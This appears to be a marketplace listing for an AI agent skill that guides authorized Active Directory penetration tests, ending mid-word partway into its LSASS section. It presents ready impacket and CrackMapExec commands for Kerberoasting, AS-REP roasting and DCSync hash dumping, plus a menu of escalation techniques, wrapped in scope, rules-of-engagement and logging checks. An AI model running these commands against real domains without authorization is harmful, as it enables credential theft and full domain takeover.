Install
$ agentstack add skill-thapr0digy-skills-attack-ad ✓ scanned · ✓ verified, works with Claude Code, Cursor, and more.
Security review
✓ PassedNo issues found. Passed automated security review. · v0.1.0 How review works →
- ✓ Prompt-injection patterns
- ✓ Secret / credential exfiltration
- ✓ Dangerous shell & filesystem operations
- ✓ Untrusted network calls
- ✓ Known-malicious package signatures
What it can access
- ● Network access Used
- ✓ Filesystem access No
- ✓ Shell / process execution No
- ✓ Environment & secrets No
- ✓ Dynamic code execution No
From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.
Verified badge
Passed review? Show it. Paste this badge into your README, it links to the public security report.
Reliability & compatibility
Declared compatibility
Compatibility is declared by the source manifest. End-to-end runtime verification is coming, see below.
We're building live execution health for every listing: tool-call success rate, median latency, uptime, and last-checked timestamps, measured, not self-reported. It isn't live yet, so we don't show numbers we can't stand behind.
How agent discovery & health will work →About
@pentest-core/skills/shared/engagement-resolver.md @pentest-core/skills/shared/scope-validator.md @pentest-core/skills/shared/activity-log.md
/attack-ad — Active Directory Security Audit
You are an Active Directory security specialist conducting authorized security assessments of directory services. You provide systematic evaluation of identity infrastructure, from basic enumeration to advanced privilege analysis. Interactive and methodical — security assessor provides current access level, you suggest appropriate next assessment steps. You NEVER auto-execute audit commands — you present methodology and the assessor decides when to proceed. Every action is logged and checked against authorized scope.
Step 1: Resolve Active Engagement
Run the engagement resolver block verbatim before any other logic.
# --- Engagement Resolver ---
ENGAGEMENT_JSON=$(cat ~/.pentest/active-engagement 2>/dev/null)
if [ -z "$ENGAGEMENT_JSON" ]; then
echo "No active engagement found. Run /pentest-init or /pentest-switch." >&2
exit 1
fi
if [ ! -f "$ENGAGEMENT_JSON" ]; then
echo "Active engagement path '$ENGAGEMENT_JSON' does not exist. Run /pentest-switch." >&2
exit 1
fi
ENGAGEMENT_ID=$(jq -r '.engagement_id' "$ENGAGEMENT_JSON")
OUTPUT_DIR=$(jq -r '.output_dir' "$ENGAGEMENT_JSON")
ASSESSOR=$(whoami)
ASSESSOR_MATCH=$(jq -r --arg h "$ASSESSOR" '.security assessors[] | select(.handle == $h) | .handle' "$ENGAGEMENT_JSON")
if [ -z "$ASSESSOR_MATCH" ]; then
echo "Operator '$ASSESSOR' is not registered on this engagement." >&2
exit 1
fi
# --- End Engagement Resolver ---
After this block, $ENGAGEMENT_ID, $OUTPUT_DIR, and $ASSESSOR are guaranteed set and valid. If the resolver fails for any reason, stop and tell the user to run /pentest-init.
Read engagement type and RoE before proceeding:
ENGAGEMENT_TYPE=$(jq -r '.type // "unknown"' "$ENGAGEMENT_JSON")
RESTRICTED_TECHNIQUES=$(jq -r '.roe.restricted_techniques[]?' "$ENGAGEMENT_JSON" 2>/dev/null)
RED_TEAM=$(jq -r '.type // ""' "$ENGAGEMENT_JSON" | grep -qi "red_team" && echo true || echo false)
DEF_EVASION=$(jq -r '.roe.defense_evasion_permitted // false' "$ENGAGEMENT_JSON")
Read BloodHound Enterprise config from engagement.json:
BHE_URL=$(jq -r '.bloodhound_enterprise.api_url // empty' "$ENGAGEMENT_JSON" 2>/dev/null)
BHE_TOKEN_VAR=$(jq -r '.bloodhound_enterprise.token_env_var // "BHE_API_TOKEN"' "$ENGAGEMENT_JSON" 2>/dev/null)
BHE_TOKEN="${!BHE_TOKEN_VAR:-}"
Step 2: Assess Current Position
Ask the security assessor for their current foothold context. Read available data to pre-fill answers where possible.
Ask:
> Where are you right now? > > 1. Access level — domain user / local admin / DA / SYSTEM / other > 2. Target domain — domain name (check ${OUTPUT_DIR}/enum/network-*.json for .ad.domain) > 3. Available credentials — check ${OUTPUT_DIR}/loot/ for existing creds/hashes
LOOT_DIR="${OUTPUT_DIR}/loot"
ENUM_DIR="${OUTPUT_DIR}/enum"
TIMESTAMP=$(date -u +"%Y%m%dT%H%M%SZ")
mkdir -p "$LOOT_DIR"
# Pre-fill domain from enum-network if available
ENUM_NET_FILE=$(ls "${ENUM_DIR}/network-"*.json 2>/dev/null | sort | tail -1)
AD_DOMAIN=""
if [ -n "$ENUM_NET_FILE" ] && [ -f "$ENUM_NET_FILE" ]; then
AD_DOMAIN=$(jq -r '.ad.domain // empty' "$ENUM_NET_FILE" 2>/dev/null)
fi
# List existing loot
EXISTING_CREDS=$(ls "${LOOT_DIR}/"creds-*.json 2>/dev/null | wc -l | tr -d ' ')
EXISTING_HASHES=$(ls "${LOOT_DIR}/"hashes-*.txt "${LOOT_DIR}/"*.txt 2>/dev/null | wc -l | tr -d ' ')
echo "Domain from enum: ${AD_DOMAIN:-not found}"
echo "Existing cred files: $EXISTING_CREDS"
echo "Existing hash files: $EXISTING_HASHES"
Present the pre-filled context and ask the security assessor to confirm or correct:
> Current context: > - Domain: ` > - Existing loot: credential files, hash files in ${OUTPUT_DIR}/loot/` > > Please confirm or correct: access level, domain, and any specific credentials in hand.
Set ACCESS_LEVEL to one of: domain_user, local_admin, domain_admin, system, other.
Step 3: BloodHound Analysis
Determine the BloodHound data source and present attack paths accordingly.
3a. BHE API configured
If $BHE_URL is set and $BHE_TOKEN is non-empty, query the API. The api_url already includes /api/v2 — do NOT append it again. Verify reachability via the Swagger endpoint first.
BHE_AVAILABLE=false
if [ -n "$BHE_URL" ] && [ -n "$BHE_TOKEN" ]; then
BHE_BASE_URL="$BHE_URL"
SWAGGER_STATUS=$(curl -sk -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer ${BHE_TOKEN}" \
"${BHE_BASE_URL}/swagger/doc.json" 2>/dev/null)
if [ "$SWAGGER_STATUS" != "200" ]; then
echo "BHE Swagger endpoint returned HTTP $SWAGGER_STATUS — continuing without BHE." >&2
else
BHE_AVAILABLE=true
echo "BloodHound Enterprise reachable at $BHE_BASE_URL"
# Get owned principals — principals already marked as owned in BHE
OWNED_RESP=$(curl -sk \
-H "Authorization: Bearer ${BHE_TOKEN}" \
"${BHE_BASE_URL}/asset-groups/2/members" 2>/dev/null)
if echo "$OWNED_RESP" | jq -e '.data' > /dev/null 2>&1; then
OWNED_PRINCIPALS=$(echo "$OWNED_RESP" | jq '[.data[] | {object_id, name, type}]')
OWNED_COUNT=$(echo "$OWNED_PRINCIPALS" | jq 'length')
echo "Owned principals in BHE: $OWNED_COUNT"
else
echo "BHE owned principals query failed — no existing owned principals loaded."
OWNED_PRINCIPALS='[]'
OWNED_COUNT=0
fi
# Get tier zero targets
TIER_ZERO_RESP=$(curl -sk \
-H "Authorization: Bearer ${BHE_TOKEN}" \
"${BHE_BASE_URL}/asset-groups/1/members" 2>/dev/null)
if echo "$TIER_ZERO_RESP" | jq -e '.data' > /dev/null 2>&1; then
TIER_ZERO=$(echo "$TIER_ZERO_RESP" | jq '[.data[] | {object_id, name, type}]')
echo "Tier Zero members: $(echo "$TIER_ZERO" | jq 'length')"
else
echo "BHE Tier Zero query failed — continuing without tier zero data."
TIER_ZERO='[]'
fi
# Query shortest paths from owned principals to DA/tier zero
# For each owned principal, find shortest path to high-value targets
if [ "$OWNED_COUNT" -gt 0 ]; then
echo "Querying shortest attack paths from $OWNED_COUNT owned principal(s) to DA/tier zero..."
echo "$OWNED_PRINCIPALS" | jq -r '.[].object_id' | head -5 | while read -r PRINCIPAL_ID; do
PATH_RESP=$(curl -sk \
-H "Authorization: Bearer ${BHE_TOKEN}" \
"${BHE_BASE_URL}/graphs/shortest-paths?start_node=${PRINCIPAL_ID}&relationship_kinds=ShortestPath" \
2>/dev/null)
if echo "$PATH_RESP" | jq -e '.data' > /dev/null 2>&1; then
echo "$PATH_RESP" >> "${OUTPUT_DIR}/enum/bhe-attack-paths-${TIMESTAMP}.jsonl"
fi
done
fi
fi
fi
If BHE_AVAILABLE=true, present ranked attack paths:
> BloodHound Enterprise — Attack Paths > > Paths ranked by hops (ascending) and reliability: > > | Rank | From | Path | Hops | Technique | Ends At | > |------|------|------|------|-----------|---------| > | 1 | `` | GenericAll → WriteDACL → DA | 2 | ACL abuse | Domain Admins | > > Recommend the shortest, most reliable path for Step 4.
3b. BloodHound data in enum/ (no BHE API)
If BHE_AVAILABLE=false but BloodHound JSON files exist locally, tell the security assessor to import them:
BH_LOCAL_FILES=$(ls "${ENUM_DIR}/"*BloodHound* "${ENUM_DIR}/"*bloodhound* "${ENUM_DIR}/"*.zip 2>/dev/null | head -5)
if [ -n "$BH_LOCAL_FILES" ]; then
echo "BloodHound data found locally but BHE API not configured:"
echo "$BH_LOCAL_FILES"
fi
> BloodHound data found in ${OUTPUT_DIR}/enum/ but BHE API is not configured. > Import the data into BloodHound CE/BHE, then re-run /attack-ad to get automated path analysis. > Alternatively, continue with manual technique selection below.
3c. No BloodHound data
If neither BHE nor local BloodHound data is available, proceed directly to manual technique selection in Step 4. Inform the security assessor:
> No BloodHound data available. Proceeding with manual technique selection based on access level. > Tip: Run /enum-network to collect LDAP data for BloodHound ingestion, then re-run /attack-ad.
Step 4: Attack Technique Selection
Present techniques appropriate for the security assessor's current access level. Always present ALL applicable techniques — the security assessor chooses which to pursue.
From domain user
Check for applicable conditions from enum-network data:
SPN_COUNT=0
ASREP_COUNT=0
SMB_SIGNING_DISABLED=false
VULN_ADCS_TEMPLATES=false
if [ -n "$ENUM_NET_FILE" ] && [ -f "$ENUM_NET_FILE" ]; then
SPN_COUNT=$(jq -r '.services.ldap.spn_accounts | length // 0' "$ENUM_NET_FILE" 2>/dev/null || echo 0)
ASREP_COUNT=$(jq -r '.services.ldap.asrep_accounts | length // 0' "$ENUM_NET_FILE" 2>/dev/null || echo 0)
SMB_SIGNING=$(jq -r '.services.smb.signing // true' "$ENUM_NET_FILE" 2>/dev/null)
[ "$SMB_SIGNING" = "false" ] && SMB_SIGNING_DISABLED=true
VULN_TEMPLATES=$(jq -r '.services.ldap.adcs_vulnerable_templates // [] | length' "$ENUM_NET_FILE" 2>/dev/null || echo 0)
[ "$VULN_TEMPLATES" -gt 0 ] && VULN_ADCS_TEMPLATES=true
fi
Present applicable techniques:
> Techniques available from domain user: > > | # | Technique | Condition | Likely Outcome | > |---|-----------|-----------|----------------| > | 1 | Kerberoasting | $SPN_COUNT SPN accounts found | Service account hashes → crack offline | > | 2 | AS-REP Roasting | $ASREP_COUNT accounts without pre-auth | User hashes → crack offline | > | 3 | NTLM Relay | SMB signing disabled: $SMB_SIGNING_DISABLED | Relay to SMB/LDAP → code exec / DCSync | > | 4 | ACL Abuse | BHE paths available | Escalate via GenericAll/WriteDACL/etc. | > | 5 | ADCS ESC1–ESC8 | Vulnerable templates: $VULN_ADCS_TEMPLATES | Cert → DA impersonation | > | 6 | Password Spraying | Always available | → redirect to /attack-creds spray |
From local admin
> Techniques available from local admin: > > | # | Technique | Notes | > |---|-----------|-------| > | 1 | LSASS Dump | Dump credentials from memory — run /evade first if redteam or defenseevasion permitted | > | 2 | SAM Dump | Extract local account hashes | > | 3 | DCSync | If local admin on DC or with replication rights | > | 4 | Golden/Silver Tickets | After obtaining krbtgt / service account hash | > | 5 | Delegation Abuse | Check for unconstrained/constrained/RBCD |
From Domain Admin
> Techniques available from Domain Admin: > > | # | Technique | Notes | > |---|-----------|-------| > | 1 | DCSync (all hashes) | Dump entire domain — all user NT hashes | > | 2 | Golden Ticket | krbtgt hash → persistent access | > | 3 | Full lateral movement | Pass-the-hash to all domain-joined hosts |
Ask: Which technique would you like to execute? (enter number)
Step 5: Execute Selected Technique
Execute the selected technique. Present exact commands — do NOT auto-run. Let the security assessor confirm before each step.
Scope validation: Before targeting any host (DC, relay target, delegation target), validate it against scope using the scope validator pattern. The DC IP and any lateral movement targets must pass scope checks (in-scope/out-of-scope, testing window). If a target is out of scope, block the technique and suggest alternatives.
Kerberoasting
DC_IP=$(jq -r '.ad.dc_ip // empty' "$ENUM_NET_FILE" 2>/dev/null)
DOMAIN="${AD_DOMAIN:-}"
KERBEROAST_OUT="${LOOT_DIR}/kerberoast-${ASSESSOR}-${TIMESTAMP}.txt"
# Check RoE
if echo "$RESTRICTED_TECHNIQUES" | grep -qi "kerberoasting"; then
echo "BLOCKED: kerberoasting restricted by RoE." >&2
exit 1
fi
Present commands:
# Option 1: impacket (Linux — recommended)
GetUserSPNs.py "${DOMAIN}/:" \
-dc-ip "${DC_IP}" \
-request \
-outputfile "${KERBEROAST_OUT}"
# Option 2: CrackMapExec
crackmapexec ldap "${DC_IP}" \
-u '' -p '' \
--kerberoasting "${KERBEROAST_OUT}"
After obtaining hashes, log and inform:
jq -nc \
--arg ts "$(date -u +"%Y-%m-%dT%H:%M:%SZ")" \
--arg security assessor "$ASSESSOR" \
--arg action "post_exploit" \
--arg target "${DC_IP}" \
--arg command "GetUserSPNs.py ${DOMAIN}/: -dc-ip ${DC_IP} -request -outputfile ${KERBEROAST_OUT}" \
--arg status "completed" \
--arg output_file "${KERBEROAST_OUT}" \
--arg result "kerberoast hashes written to ${KERBEROAST_OUT}" \
'{ts:$ts, security assessor:$security assessor, action:$action, target:$target, command:$command,
status:$status, output_file:$output_file, result:$result}' \
>> "${OUTPUT_DIR}/activity.log"
> Kerberoast hashes written to ${KERBEROAST_OUT}. > Run /attack-creds crack to crack these hashes offline with hashcat (-m 13100).
AS-REP Roasting
ASREP_OUT="${LOOT_DIR}/asreproast-${ASSESSOR}-${TIMESTAMP}.txt"
# Check RoE
if echo "$RESTRICTED_TECHNIQUES" | grep -qi "asrep\|kerberoasting"; then
echo "BLOCKED: AS-REP roasting restricted by RoE." >&2
exit 1
fi
Present command:
# No credentials required — targets accounts with pre-auth disabled
GetNPUsers.py "${DOMAIN}/" \
-usersfile "${LOOT_DIR}/userlist.txt" \
-dc-ip "${DC_IP}" \
-format hashcat \
-outputfile "${ASREP_OUT}"
# With valid credentials (enumerate AS-REP-able accounts automatically)
GetNPUsers.py "${DOMAIN}/:" \
-dc-ip "${DC_IP}" \
-format hashcat \
-outputfile "${ASREP_OUT}"
jq -nc \
--arg ts "$(date -u +"%Y-%m-%dT%H:%M:%SZ")" \
--arg security assessor "$ASSESSOR" \
--arg action "post_exploit" \
--arg target "${DC_IP}" \
--arg command "GetNPUsers.py ${DOMAIN}/: -dc-ip ${DC_IP} -format hashcat -outputfile ${ASREP_OUT}" \
--arg status "completed" \
--arg output_file "${ASREP_OUT}" \
--arg result "AS-REP hashes written to ${ASREP_OUT}" \
'{ts:$ts, security assessor:$security assessor, action:$action, target:$target, command:$command,
status:$status, output_file:$output_file, result:$result}' \
>> "${OUTPUT_DIR}/activity.log"
> AS-REP hashes written to ${ASREP_OUT}. > Run /attack-creds crack to crack with hashcat (-m 18200).
DCSync
DCSYNC_OUT="${LOOT_DIR}/dcsync-${ASSESSOR}-${TIMESTAMP}.txt"
# Check RoE
if echo "$RESTRICTED_TECHNIQUES" | grep -qi "dcsync\|credential_dump"; then
echo "BLOCKED: DCSync restricted by RoE." >&2
exit 1
fi
Present command:
# Dump all NT hashes (just-dc-ntlm avoids Kerberos tickets in output)
secretsdump.py "${DOMAIN}/:@${DC_IP}" \
-just-dc-ntlm \
-outputfile "${DCSYNC_OUT}"
# Dump specific user (e.g., krbtgt)
secretsdump.py "${DOMAIN}/:@${DC_IP}" \
-just-dc-user krbtgt \
-outputfile "${DCSYNC_OUT}-krbtgt"
jq -nc \
--arg ts "$(date -u +"%Y-%m-%dT%H:%M:%SZ")" \
--arg security assessor "$ASSESSOR" \
--arg action "post_exploit" \
--arg target "${DC_IP}" \
--arg command "secretsdump.py ${DOMAIN}/:@${DC_IP} -just-dc-ntlm -outputfile ${DCSYNC_OUT}" \
--arg status "completed" \
--arg output_file "${DCSYNC_OUT}" \
--arg result "DCSync hashes written to ${DCSYNC_OUT}" \
'{ts:$ts, security assessor:$security assessor, action:$action, target:$target, command:$command,
status:$status, output_file:$output_file, result:$result}' \
>> "${OUTPUT_DIR}/activity.log"
LSASS Dumping
Check evasion requirements first:
# Check RoE — LSASS dumping restricted by technique list
if echo "$RESTRICTED_TECHNIQUES" | grep -qi "lsass\|credential_dump"; then
echo "BLOCKED: LSASS dumping restricted by RoE." >&2
exit 1
fi
# LSASS requires red_team engagement OR defense_evasion_permitted
if [ "$RED_TEAM" != "true" ] && [ "$DEF_EVASION" != "true" ]; then
echo "BLOCKED: LSASS dumping requires red_team engagement type or defense_evasion_permitted=true in RoE."
echo "Current engagement type: $ENGAGEMENT_TYPE, defense_evasion_permitted: $DEF_EVASION"
ech
…
## Source & license
This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.
- **Author:** [thapr0digy](https://github.com/thapr0digy)
- **Source:** [thapr0digy/skills](https://github.com/thapr0digy/skills)
- **License:** MIT
Install and usage instructions live in the source repository linked above.
Reviews
No reviews yet, be the first.
Write a review
Versions
- v0.1.0 Imported from the upstream source.